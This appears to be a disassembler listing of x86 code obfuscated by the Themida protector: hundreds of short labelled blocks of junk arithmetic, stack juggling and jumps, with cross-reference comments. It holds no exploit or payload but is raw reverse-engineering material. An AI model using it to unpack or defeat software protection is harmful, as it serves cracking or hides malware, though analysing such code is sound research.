; ---------------------------------------------------------------------------
loc_59A755: ; CODE XREF: Themida_:005A0251j
pop ebx
shl eax, 2
jmp loc_5A2129
; ---------------------------------------------------------------------------
loc_59A75E: ; CODE XREF: Themida_:005A2025j
push edi
mov edi, 11FB00CFh
add ebp, 31772A97h
add ebp, edi
sub ebp, 31772A97h
jmp loc_5A2B9A
; ---------------------------------------------------------------------------
loc_59A777: ; CODE XREF: Themida_:005985B5j
xchg esi, [esp]
mov esp, [esp]
add ecx, edi
push 5B4Ah
mov [esp], edi
mov edi, 7FFB0609h
add ecx, edi
pop edi
jmp loc_5A13BF
; ---------------------------------------------------------------------------
loc_59A794: ; CODE XREF: Themida_:005AD002j
pop edx
jmp loc_5A184E
; ---------------------------------------------------------------------------
loc_59A79A: ; CODE XREF: Themida_:005A1DFCj
mov ecx, 96B4B3D3h
add ecx, 6AE479F1h
push edx
jmp loc_5ACCF0
; ---------------------------------------------------------------------------
loc_59A7AB: ; CODE XREF: Themida_:00598B61j
mov eax, [esp]
add esp, 4
push esi
mov esi, 3A4F1A7Dh
jmp loc_5ADBDD
; ---------------------------------------------------------------------------
loc_59A7BF: ; CODE XREF: Themida_:005A2823j
add edx, ecx
pop ecx
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_5A6137
; ---------------------------------------------------------------------------
loc_59A7D5: ; CODE XREF: Themida_:0059DEE4j
pop ebx
jmp loc_59BA50
; ---------------------------------------------------------------------------
loc_59A7DB: ; CODE XREF: Themida_:0059C19Bj
not ecx
push ebx
mov ebx, 55466679h
sub ecx, ebx
pop ebx
add ecx, 0B1D8A043h
push ecx
mov ecx, 5D742E6Fh
sub ebx, ecx
pop ecx
add ebx, ecx
add ebx, 5D742E6Fh
push dword ptr [esp]
pop ecx
add esp, 4
push eax
mov eax, 7A9E201Fh
inc eax
xor eax, 599B51BEh
or eax, 658B2A12h
push ecx
mov ecx, 40C46F78h
xor eax, ecx
jmp loc_5AB152
; ---------------------------------------------------------------------------
loc_59A822: ; CODE XREF: Themida_:005A503Cj
pop edx
push 1414h
mov [esp], edi
mov edi, 0BD965AEh
add eax, edi
jmp loc_5A5839
; ---------------------------------------------------------------------------
loc_59A837: ; CODE XREF: Themida_:005ACB7Fj
mov edx, 2
mov ebp, edx
jmp loc_5A25D5
; ---------------------------------------------------------------------------
loc_59A843: ; CODE XREF: Themida_:005A6042j
xor dh, 40h
push eax
mov al, dh
mov bh, al
jmp loc_59D4FE
; ---------------------------------------------------------------------------
loc_59A850: ; CODE XREF: Themida_:005A3329j
; Themida_:005AA140j
sub esi, 7E6D1C11h
pop ebp
pop ecx
sub eax, esi
pop esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_5A6A3E
; ---------------------------------------------------------------------------
loc_59A872: ; CODE XREF: Themida_:005AB57Aj
xor ecx, 59921C6Ch
sub ecx, 707F2655h
neg ecx
add ecx, 0C11DE51Bh
add ebp, ecx
jmp loc_5AC2AF
; ---------------------------------------------------------------------------
loc_59A88D: ; CODE XREF: Themida_:005AC456j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59A892: ; CODE XREF: Themida_:0059F042j
not edi
jmp loc_59E4E5
; ---------------------------------------------------------------------------
loc_59A899: ; CODE XREF: Themida_:005A47C5j
mov ebp, [esp]
add esp, 4
push esi
mov esi, 4
add ebp, esi
jmp loc_59BC2A
; ---------------------------------------------------------------------------
loc_59A8AC: ; CODE XREF: Themida_:0059F46Aj
push esi
mov esi, 3A4C100Bh
add [esp+4], esi
pop esi
pop ebx
sub ebx, 3A4C100Bh
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A334A
; ---------------------------------------------------------------------------
loc_59A8D8: ; CODE XREF: Themida_:005A7647j
xor ecx, 45A2DEE4h
mov esi, ecx
pop ecx
sub ecx, esi
pop esi
xor ecx, [esp]
jmp loc_59E66A
; ---------------------------------------------------------------------------
loc_59A8EC: ; CODE XREF: Themida_:005A408Dj
push ebx
mov ebx, ebp
mov esi, ebx
pop ebx
mov ebp, [esp]
add esp, 4
and eax, esi
push dword ptr [esp]
jmp loc_59C11E
; ---------------------------------------------------------------------------
loc_59A902: ; CODE XREF: Themida_:00598841j
; Themida_:005AB726j
add ch, dh
jmp loc_5AEA6B
; ---------------------------------------------------------------------------
loc_59A909: ; CODE XREF: Themida_:005ACD73j
mov edx, [esp]
push 340Dh
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_5A76CD
; ---------------------------------------------------------------------------
loc_59A921: ; CODE XREF: Themida_:0059A704j
add esp, 4
add esp, 4
and ecx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push 0BF6h
mov [esp], esi
mov esi, esp
push ebx
mov ebx, 30DC465Dh
shr ebx, 3
add ebx, 62D828B7h
inc ebx
xor ebx, 68F3B187h
sub esi, 6194B4Bh
add esi, ebx
jmp loc_59E2B5
; ---------------------------------------------------------------------------
loc_59A965: ; CODE XREF: Themida_:0059F367j
; Themida_:005ADEF7j
mov ebx, [esp]
add esp, 4
add ebx, 0B59856C5h
jmp loc_5A6CC6
; ---------------------------------------------------------------------------
loc_59A979: ; CODE XREF: Themida_:005AF4C4j
jmp loc_5A6C56
; ---------------------------------------------------------------------------
loc_59A97E: ; CODE XREF: Themida_:005AED41j
xor ebx, [esp]
mov esp, [esp]
mov [esp], ebp
push 3A08h
mov [esp], ecx
mov ecx, 540E7BBFh
add ecx, 0ABF18445h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
add ecx, 50E676B9h
add ecx, ebp
sub ecx, 50E676B9h
pop ebp
push edi
mov edi, 2
add ecx, edi
pop edi
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
or [esp], al
pushf
jmp loc_599D43
; ---------------------------------------------------------------------------
loc_59A9D0: ; CODE XREF: Themida_:005A1D24j
; Themida_:loc_5A9D85j
add eax, 0B90A6871h
mov ebp, eax
jmp loc_59F065
; ---------------------------------------------------------------------------
loc_59A9DC: ; CODE XREF: Themida_:005A64B2j
shr eax, 4
jp loc_59F065
shr eax, 3
jnz loc_5A0B2B
jmp loc_5A029A
; ---------------------------------------------------------------------------
mov ecx, [esp]
xor al, 64h
pop esp
loc_59A9FA: ; CODE XREF: Themida_:loc_5A7137j
shr eax, 4
add eax, 5BF11713h
mov ebp, eax
jmp loc_5A831E
; ---------------------------------------------------------------------------
loc_59AA09: ; CODE XREF: Themida_:005A91A2j
mov edi, 28F01C88h
or edx, edi
pop edi
shr edx, 3
sub edx, 189BF8AAh
jmp loc_5AE77A
; ---------------------------------------------------------------------------
loc_59AA1F: ; CODE XREF: Themida_:005A27D0j
pop edx
pop esi
add edx, 7223220Dh
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
pop esp
push ax
jmp loc_59C34C
; ---------------------------------------------------------------------------
loc_59AA38: ; CODE XREF: Themida_:005A0148j
sub bl, al
add bl, 0E1h
push 71C5h
mov [esp], eax
push ecx
push eax
mov ah, 43h
xor ah, 0C0h
shl ah, 4
sub ah, 0E3h
mov cl, ah
jmp loc_5A337B
; ---------------------------------------------------------------------------
loc_59AA59: ; CODE XREF: Themida_:005AA9E0j
; Themida_:loc_5AE128j
push 4981h
jmp loc_5A3A39
; ---------------------------------------------------------------------------
loc_59AA63: ; CODE XREF: Themida_:005993ADj
; Themida_:005A48A9j
xor ecx, 4B7F7C49h
jo loc_5A7D56
push ebp
mov ebp, 7E7E44F4h
jmp loc_59CE1A
; ---------------------------------------------------------------------------
loc_59AA7A: ; CODE XREF: Themida_:005AA469j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov ecx, [esp]
push 6219h
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_599472
; ---------------------------------------------------------------------------
loc_59AAA4: ; CODE XREF: Themida_:005AF2C9j
add edi, 0C1D3BD9h
sub edi, eax
sub edi, 0C1D3BD9h
jmp loc_5A3C06
; ---------------------------------------------------------------------------
loc_59AAB7: ; CODE XREF: Themida_:0059C2A8j
; Themida_:005A81C9j
xor eax, ebx
pop ebx
add ebx, eax
pop eax
push ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
push esp
pop ebp
jmp loc_5A4CC4
; ---------------------------------------------------------------------------
loc_59AAE2: ; CODE XREF: Themida_:00598CBFj
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push edx
push 627Ch
mov [esp], ecx
jmp loc_5AAE3E
; ---------------------------------------------------------------------------
loc_59AAFA: ; CODE XREF: Themida_:005A6B70j
push dword ptr [esp]
mov ecx, [esp]
push eax
push esp
pop eax
add eax, 4
jmp loc_59E2CC
; ---------------------------------------------------------------------------
loc_59AB0D: ; CODE XREF: Themida_:005A21ABj
; Themida_:005AA830j
sub ebx, 0F102C02Bh
mov esi, ebx
pop ebx
jmp loc_5AC195
; ---------------------------------------------------------------------------
lodsd
sub eax, 5B0C6DEBh
push edx
mov edx, 688D1340h
sub eax, edx
pop edx
push edx
jmp loc_5A8A7C
; ---------------------------------------------------------------------------
loc_59AB30: ; CODE XREF: Themida_:005AB755j
shr bh, 4
xor bh, 9Ah
jnz loc_59B7C3
add bh, 0D6h
jmp loc_59A459
; ---------------------------------------------------------------------------
xor ebx, eax
push edx
loc_59AB47: ; CODE XREF: Themida_:0059DE79j
xchg esi, [esp]
pop esp
jmp loc_5ADCA4
; ---------------------------------------------------------------------------
loc_59AB50: ; CODE XREF: Themida_:005AD68Dj
mov dl, 33h
sub al, dl
pop dx
mov dx, [esp]
jmp loc_5A9290
; ---------------------------------------------------------------------------
loc_59AB5F: ; CODE XREF: Themida_:005A92BBj
and edx, 7AC63428h
sub edx, 0DEB50253h
jmp loc_599ECE
; ---------------------------------------------------------------------------
loc_59AB70: ; CODE XREF: Themida_:0059C142j
sub ebp, 57B96C82h
jmp loc_5A0E54
; ---------------------------------------------------------------------------
loc_59AB7B: ; CODE XREF: Themida_:005ACC6Aj
sub al, 50h
pop edx
sub esp, 4
mov [esp], edx
push ecx
mov cl, 0E6h
jmp loc_5A0BE0
; ---------------------------------------------------------------------------
loc_59AB8C: ; CODE XREF: Themida_:loc_5AE837j
xor ah, 6Eh
jmp loc_5A3A05
; ---------------------------------------------------------------------------
loc_59AB94: ; CODE XREF: Themida_:005A2CFEj
push 271B68ACh
pop ecx
jmp loc_5A4FD9
; ---------------------------------------------------------------------------
loc_59AB9F: ; CODE XREF: Themida_:loc_599083j
; Themida_:005AB8BFj
pop ecx
push ebx
mov ebx, 123A01D8h
push ecx
mov ecx, 13DA2448h
and ebx, ecx
pop ecx
and ebx, 7E816B71h
xor ebx, 4F21496Ch
sub ebx, 0FFFFFFFFh
push ecx
jmp loc_59D2EA
; ---------------------------------------------------------------------------
loc_59ABC4: ; CODE XREF: Themida_:loc_59B5DDj
xor edx, 64A41935h
add edx, 29DB4273h
jmp loc_5A9D97
; ---------------------------------------------------------------------------
loc_59ABD5: ; CODE XREF: Themida_:005A7827j
push ecx
mov ch, 62h
jmp loc_5A12F3
; ---------------------------------------------------------------------------
loc_59ABDD: ; CODE XREF: Themida_:005A3D2Cj
mov [esp], ebp
mov ebp, 4
jmp loc_59B877
; ---------------------------------------------------------------------------
loc_59ABEA: ; CODE XREF: Themida_:00598701j
add eax, 8DCF6922h
push eax
add dword ptr [esp], 72946AA7h
pop ebp
sub ebp, 72946AA7h
pop eax
push 545Dh
jmp loc_5AD039
; ---------------------------------------------------------------------------
loc_59AC09: ; CODE XREF: Themida_:005A7D51j
mov [esp], eax
push 715702B5h
jmp loc_5A291C
; ---------------------------------------------------------------------------
loc_59AC16: ; CODE XREF: Themida_:0059967Bj
mov al, 4Bh
add dl, al
pop ax
push eax
mov ah, 0D9h
jmp loc_5A8D38
; ---------------------------------------------------------------------------
loc_59AC24: ; CODE XREF: Themida_:005AEAE4j
and edx, 4D2E72A6h
jp loc_5A3FF4
neg edx
jns loc_5A869A
mov ah, 0B0h
pop eax
loc_59AC3B: ; CODE XREF: Themida_:005A4CBFj
push ebx
push 64116AECh
jmp loc_5A9805
; ---------------------------------------------------------------------------
loc_59AC46: ; CODE XREF: Themida_:005A2812j
; Themida_:005ABDF4j
mov esi, 6F2D6B88h
jmp loc_5A4C68
; ---------------------------------------------------------------------------
loc_59AC50: ; CODE XREF: Themida_:005AA178j
mov [esp], eax
sub dword ptr [esp], 27D57DD8h
pop esi
add esi, 27D57DD8h
pop eax
add edx, esi
jmp loc_59FC68
; ---------------------------------------------------------------------------
loc_59AC69: ; CODE XREF: Themida_:005AB414j
dec dword ptr [esp]
jmp loc_5A738D
; ---------------------------------------------------------------------------
loc_59AC71: ; CODE XREF: Themida_:005A2124j
pop edi
add esp, 4
or edx, eax
shl edx, 1
push eax
sub esp, 4
jmp loc_5A9178
; ---------------------------------------------------------------------------
loc_59AC85: ; CODE XREF: Themida_:0059D28Ej
add ecx, ebp
pop ebp
jmp loc_5A2AD8
; ---------------------------------------------------------------------------
loc_59AC8D: ; CODE XREF: Themida_:005A339Fj
pop ecx
push edi
mov edi, esp
add edi, 4
jmp loc_5A188F
; ---------------------------------------------------------------------------
loc_59AC9C: ; CODE XREF: Themida_:0059DCB5j
; Themida_:005AE9B7j
xor dword ptr [esp], 6111614Ah
jmp loc_5A0CAD
; ---------------------------------------------------------------------------
loc_59ACA8: ; CODE XREF: Themida_:005AB2FFj
and esi, ebx
pop ebx
sub esi, 1580420Ch
sub ebp, 43E325EEh
add ebp, esi
add ebp, 43E325EEh
pop esi
push esi
mov esi, 4
sub ebp, esi
mov esi, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 4
push ebx
mov ebx, 269942F3h
jmp loc_59A5ED
; ---------------------------------------------------------------------------
loc_59ACE7: ; CODE XREF: Themida_:0059D387j
or ebx, 3FAA7AF0h
sub ebx, 7FFB7FF2h
jmp loc_5A066C
; ---------------------------------------------------------------------------
loc_59ACF8: ; CODE XREF: Themida_:0059D735j
sub esp, 4
mov [esp], eax
push ebp
push eax
mov eax, 4E49463Eh
mov ebp, 511351FEh
sub ebp, eax
pop eax
neg ebp
jnp loc_5A7416
shr ebp, 7
dec ebp
xor ebp, 0A6627A9h
loc_59AD22: ; CODE XREF: Themida_:00598F7Aj
mov ebp, 39CA46F9h
jmp loc_59A07E
; ---------------------------------------------------------------------------
loc_59AD2C: ; CODE XREF: Themida_:00599180j
add [esp+4], edx
jmp loc_59D2A3
; ---------------------------------------------------------------------------
loc_59AD35: ; CODE XREF: Themida_:0059B0CAj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub eax, ebp
mov ebp, [esp]
add esp, 4
add ebx, 41EF623Dh
jmp loc_59CED9
; ---------------------------------------------------------------------------
loc_59AD58: ; CODE XREF: Themida_:00598DF4j
add cl, 0E9h
shl cl, 6
jmp loc_5A1180
; ---------------------------------------------------------------------------
loc_59AD63: ; CODE XREF: Themida_:005AF3F4j
xchg ecx, [esp]
pop esp
or edx, eax
shl edx, 1
push 549Dh
mov [esp], eax
mov eax, 24h
add eax, edi
push ebx
jmp loc_598EC2
; ---------------------------------------------------------------------------
loc_59AD80: ; CODE XREF: Themida_:00598D66j
sub edi, 2BA11727h
jmp loc_59E41D
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59F62D
; ---------------------------------------------------------------------------
loc_59AD94: ; CODE XREF: Themida_:0059F71Bj
push edi
push 2BBF1C29h
pop edi
jmp loc_5A3ED3
; ---------------------------------------------------------------------------
loc_59ADA0: ; CODE XREF: Themida_:0059C3BEj
pop edx
pop ecx
jmp loc_5A9276
; ---------------------------------------------------------------------------
loc_59ADA7: ; CODE XREF: Themida_:005A41AEj
; Themida_:005A9EBDj
neg ecx
xor ecx, 4AC4F544h
jmp loc_5A3EDE
; ---------------------------------------------------------------------------
loc_59ADB4: ; CODE XREF: Themida_:005A2D4Ej
; Themida_:005AED58j
push 5AA2h
mov [esp], edi
jmp loc_599A30
; ---------------------------------------------------------------------------
loc_59ADC1: ; CODE XREF: Themida_:005A5897j
add edi, ebx
jmp loc_59AF49
; ---------------------------------------------------------------------------
loc_59ADC8: ; CODE XREF: Themida_:005AA1D6j
add ch, 77h
not ch
jmp loc_5A01C7
; ---------------------------------------------------------------------------
loc_59ADD2: ; CODE XREF: Themida_:0059E4E0j
sub eax, 1A783978h
sub eax, ebx
jmp loc_5AAAA7
; ---------------------------------------------------------------------------
loc_59ADDE: ; CODE XREF: Themida_:005A44EDj
xor eax, edi
pop edi
pop esi
add ebx, eax
mov eax, [esp]
jmp loc_59F36C
; ---------------------------------------------------------------------------
loc_59ADEC: ; CODE XREF: Themida_:005A3AE9j
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5A24DD
; ---------------------------------------------------------------------------
loc_59ADFE: ; CODE XREF: Themida_:0059ED6Cj
mov dh, ch
mov al, dh
pop edx
pop ecx
add bl, 0CFh
add bl, al
sub bl, 0CFh
pop ax
push small 4A37h
mov [esp], cx
push ebx
jmp loc_5A93DB
; ---------------------------------------------------------------------------
loc_59AE1C: ; CODE XREF: Themida_:005A496Dj
; Themida_:005AAC43j
pop esp
pop dword ptr [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59AE26: ; CODE XREF: Themida_:005A2FE1j
mov [esp], ebx
push ecx
jmp loc_5AA352
; ---------------------------------------------------------------------------
loc_59AE2F: ; CODE XREF: Themida_:0059FD0Dj
pop ebp
add ebx, 4
jmp loc_5A85CC
; ---------------------------------------------------------------------------
loc_59AE38: ; CODE XREF: Themida_:loc_5AEBE1j
add ebx, 0B577ED41h
jmp loc_5A48DD
; ---------------------------------------------------------------------------
loc_59AE43: ; CODE XREF: Themida_:005A810Aj
mov edx, [esp]
add esp, 4
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xor eax, [esp]
jmp loc_5A60A6
; ---------------------------------------------------------------------------
loc_59AE5A: ; CODE XREF: Themida_:005A81BBj
push edx
push edi
mov edi, 19DF30BCh
dec edi
jmp loc_59C9A2
; ---------------------------------------------------------------------------
loc_59AE67: ; CODE XREF: Themida_:0059E4B1j
mov [esp], edi
push 692Ah
jmp loc_5A4763
; ---------------------------------------------------------------------------
lodsb
jmp loc_599A22
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push 24EDh
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push eax
mov eax, esp
push 15B0h
mov [esp], edi
push edx
push esi
jmp loc_5A913A
; ---------------------------------------------------------------------------
loc_59AEAE: ; CODE XREF: Themida_:005A26F2j
mov [esp], ebp
mov ebp, 731926F3h
jmp loc_59B3B9
; ---------------------------------------------------------------------------
loc_59AEBB: ; CODE XREF: Themida_:005A69BBj
inc eax
inc eax
jmp loc_5A3768
; ---------------------------------------------------------------------------
loc_59AEC2: ; CODE XREF: Themida_:005AC82Fj
pop esp
push ebp
mov ebp, 4BF41DFDh
jmp loc_5A57D9
; ---------------------------------------------------------------------------
loc_59AECE: ; CODE XREF: Themida_:loc_5A8122j
add ebx, 1FC09A3h
jnz loc_5AED36
shl ebx, 5
jmp loc_5A55F0
; ---------------------------------------------------------------------------
xor [esp], ebx
mov ah, 0BEh
mov esi, ebp
loc_59AEE9: ; CODE XREF: Themida_:0059F726j
mov edi, ebx
mov esi, edi
pop edi
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_59BDFF
; ---------------------------------------------------------------------------
loc_59AEFF: ; CODE XREF: Themida_:005A563Aj
push ax
push ebx
mov bh, 29h
add bh, 0D6h
mov ah, bh
pop ebx
add dl, ah
pop ax
add dl, 0A7h
add al, 0C0h
add al, dl
sub al, 0C0h
pop edx
add al, 0EAh
sub al, 0A1h
add al, bl
jmp loc_5A3785
; ---------------------------------------------------------------------------
loc_59AF23: ; CODE XREF: Themida_:005A0034j
add ah, 4Bh
sub ah, 21h
mov cl, ah
jmp loc_5A2030
; ---------------------------------------------------------------------------
loc_59AF30: ; CODE XREF: Themida_:005A04A4j
push eax
mov eax, 7C826AE1h
not eax
and eax, 4F344DB5h
xor eax, 3340510h
add ecx, eax
jmp loc_5A02A3
; ---------------------------------------------------------------------------
loc_59AF49: ; CODE XREF: Themida_:0059ADC3j
sub edi, 71BE5A5Eh
mov ebx, [esp]
add esp, 4
jmp loc_5A5692
; ---------------------------------------------------------------------------
loc_59AF5D: ; CODE XREF: Themida_:005AE592j
push eax
jmp loc_59F97F
; ---------------------------------------------------------------------------
loc_59AF63: ; CODE XREF: Themida_:005AB108j
push ecx
push esi
jmp loc_5A1CF4
; ---------------------------------------------------------------------------
loc_59AF6A: ; CODE XREF: Themida_:005AC2E6j
push 54D2h
mov [esp], ecx
mov ecx, 49777D6Ah
dec ecx
sub ecx, 0FFFFFFFFh
not ecx
or ecx, 43104662h
shl ecx, 2
sub ecx, 0A29C9E73h
add eax, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_59D34B
; ---------------------------------------------------------------------------
loc_59AFA2: ; CODE XREF: Themida_:005A7667j
add bl, ch
pop ecx
sub bl, 75h
sub bl, al
push ax
push ecx
push 5E15h
mov [esp], ebx
mov bl, 0FCh
mov ch, 5
xor ch, bl
jmp loc_5A8BD3
; ---------------------------------------------------------------------------
loc_59AFC0: ; CODE XREF: Themida_:005A71AFj
mov ah, dl
pop edx
not ah
mov cl, ah
pop ax
jmp loc_59B100
; ---------------------------------------------------------------------------
loc_59AFCE: ; CODE XREF: Themida_:005A0B33j
add esp, 4
xchg eax, [esp]
pop esp
mov ebx, [esp]
add esp, 4
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59AFF5: ; CODE XREF: Themida_:005ABEE0j
add eax, 4
sub esp, 4
mov [esp], ebx
mov ebx, 2
jmp loc_59F32C
; ---------------------------------------------------------------------------
loc_59B00A: ; CODE XREF: Themida_:00598B37j
mov cx, [esp]
push eax
mov eax, esp
push ebp
push ebx
jmp loc_5983B3
; ---------------------------------------------------------------------------
loc_59B018: ; CODE XREF: Themida_:005A5617j
xchg eax, [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59B021: ; CODE XREF: Themida_:005A4B60j
shr eax, 2
shl eax, 3
jmp loc_59F30D
; ---------------------------------------------------------------------------
loc_59B02C: ; CODE XREF: Themida_:005A48D8j
mov ebp, ecx
jmp loc_5AD51E
; ---------------------------------------------------------------------------
loc_59B033: ; CODE XREF: Themida_:005A0F2Dj
; Themida_:005A1129j
pop eax
push esi
mov esi, 0E3B2390Bh
add ecx, esi
pop esi
add ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
jmp loc_59F38A
; ---------------------------------------------------------------------------
loc_59B054: ; CODE XREF: Themida_:005A2FBEj
jmp loc_599083
; ---------------------------------------------------------------------------
loc_59B059: ; CODE XREF: Themida_:005A2E84j
mov ecx, edi
pop edi
xor ecx, 83D2821Ah
add edi, ecx
jmp loc_5A7CD0
; ---------------------------------------------------------------------------
loc_59B069: ; CODE XREF: Themida_:005A792Ej
sub esi, ecx
add esi, 4184393Eh
push dword ptr [esp]
jmp loc_5A637A
; ---------------------------------------------------------------------------
loc_59B079: ; CODE XREF: Themida_:0059CAF2j
; Themida_:005A811Dj
add ebx, 4CAF4F3Ch
jmp loc_5A711F
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59B08B: ; CODE XREF: Themida_:005AC322j
and eax, 30F84407h
shr eax, 4
xor eax, 20F0444h
add ecx, eax
jmp loc_5AC277
; ---------------------------------------------------------------------------
loc_59B09F: ; CODE XREF: Themida_:005A0E92j
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], edi
jmp loc_59C770
; ---------------------------------------------------------------------------
loc_59B0B3: ; CODE XREF: Themida_:005AE954j
pop esp
jmp loc_59FA20
; ---------------------------------------------------------------------------
loc_59B0B9: ; CODE XREF: Themida_:loc_5A01C7j
; Themida_:005A0330j
or eax, 28D239ADh
jmp loc_5A963C
; ---------------------------------------------------------------------------
loc_59B0C3: ; CODE XREF: Themida_:0059D687j
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
jmp loc_59AD35
; ---------------------------------------------------------------------------
loc_59B0CF: ; CODE XREF: Themida_:005984F7j
pop ebx
jmp loc_5AC0E7
; ---------------------------------------------------------------------------
loc_59B0D5: ; CODE XREF: Themida_:loc_5A332Ej
and ebp, 305177BCh
sub ebp, 1B4B5C60h
ja loc_5A1D19
jmp loc_5A88A3
; ---------------------------------------------------------------------------
jmp loc_59A231
; ---------------------------------------------------------------------------
loc_59B0F1: ; CODE XREF: Themida_:005A7BCEj
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59B100: ; CODE XREF: Themida_:0059AFC9j
shr cl, 4
push ax
push edx
mov dl, 0F0h
shl dl, 1
jns loc_5AACAD
shl dl, 8
add dl, 6Fh
mov ah, dl
mov edx, [esp]
add esp, 4
xor cl, ah
jmp loc_5A9ADA
; ---------------------------------------------------------------------------
loc_59B125: ; CODE XREF: Themida_:005ABF1Dj
pop esi
add ecx, 1
push ecx
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
jmp loc_59FC43
; ---------------------------------------------------------------------------
loc_59B137: ; CODE XREF: Themida_:005AA39Aj
mov ebx, 4E585650h
and edi, ebx
pop ebx
not edi
jmp loc_5A0A2F
; ---------------------------------------------------------------------------
loc_59B146: ; CODE XREF: Themida_:005A66BCj
or ebx, 5B9030A1h
jnp loc_5AB8D2
sub ebx, 5F967DA5h
mov edi, ebx
pop ebx
push ecx
xor dl, 0BDh
pop edi
loc_59B160: ; CODE XREF: Themida_:loc_5AC8F3j
sub al, 0E0h
sub bl, al
pop ax
push dword ptr [esp]
mov eax, [esp]
push esi
jmp loc_5A319E
; ---------------------------------------------------------------------------
loc_59B172: ; CODE XREF: Themida_:005A55EBj
; Themida_:005AA757j ...
add esi, ecx
pop ecx
jmp loc_5A451E
; ---------------------------------------------------------------------------
loc_59B17A: ; CODE XREF: Themida_:0059D73Bj
; Themida_:0059FC57j
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 261A5F41h
mov ebp, [esp]
jmp loc_59B926
; ---------------------------------------------------------------------------
loc_59B198: ; CODE XREF: Themida_:005A07CBj
jmp loc_5A6584
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
jmp loc_5AE80A
; ---------------------------------------------------------------------------
loc_59B1A6: ; CODE XREF: Themida_:0059CC49j
xor ebp, 4B5A50ABh
add ebp, 0C0D06D3h
xor ebp, 61A16A4Fh
jmp loc_5A607A
; ---------------------------------------------------------------------------
loc_59B1BD: ; CODE XREF: Themida_:005A70DCj
pop esi
pop dword ptr [esp]
pop esp
jmp loc_59C1E9
; ---------------------------------------------------------------------------
loc_59B1C7: ; CODE XREF: Themida_:005A49D4j
or bh, al
pop ax
xor bh, 71h
sub esp, 2
jmp loc_5A7840
; ---------------------------------------------------------------------------
loc_59B1D6: ; CODE XREF: Themida_:00598579j
add eax, 688D1340h
push edi
mov edi, 63471AD3h
shl edi, 7
add edi, 27D6075Dh
neg edi
jmp loc_5A59DF
; ---------------------------------------------------------------------------
loc_59B1F1: ; CODE XREF: Themida_:005A6528j
sub al, 76h
mov dx, [esp]
push 473Fh
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
push 0F16h
mov [esp], ecx
mov cl, 59h
shl cl, 6
push eax
mov al, 9Eh
jmp loc_5A885A
; ---------------------------------------------------------------------------
loc_59B223: ; CODE XREF: Themida_:005A6696j
push edi
mov edi, 4
jmp loc_5A34CF
; ---------------------------------------------------------------------------
loc_59B22E: ; CODE XREF: Themida_:005A5305j
xchg ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_5A4ECA
; ---------------------------------------------------------------------------
loc_59B23A: ; CODE XREF: Themida_:loc_5AA297j
; Themida_:005AE72Cj
or eax, eax
jz loc_5AAFD4
push dword ptr [edi+1Ch]
push 4558h
mov [esp], ebx
jmp loc_5A8F8A
; ---------------------------------------------------------------------------
loc_59B252: ; CODE XREF: Themida_:0059A6B1j
; Themida_:0059D8FFj
push esi
mov esi, 26A54667h
jmp loc_5A2354
; ---------------------------------------------------------------------------
loc_59B25D: ; CODE XREF: Themida_:005A9487j
; Themida_:005AB486j ...
pop ecx
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5A117A
; ---------------------------------------------------------------------------
loc_59B271: ; CODE XREF: Themida_:005AF1DEj
push ebx
mov ebx, 4
add esi, ebx
jmp loc_5AB224
; ---------------------------------------------------------------------------
loc_59B27E: ; CODE XREF: Themida_:005A1B40j
push esp
pop ebx
push esi
mov esi, 2C0054D8h
jmp loc_5A91CE
; ---------------------------------------------------------------------------
loc_59B28B: ; CODE XREF: Themida_:005A7C09j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_5AF0DA
; ---------------------------------------------------------------------------
loc_59B299: ; CODE XREF: Themida_:005A3161j
mov [esp], ecx
jmp loc_5986BF
; ---------------------------------------------------------------------------
loc_59B2A1: ; CODE XREF: Themida_:00598505j
pop esp
push edx
jmp loc_5A0A6A
; ---------------------------------------------------------------------------
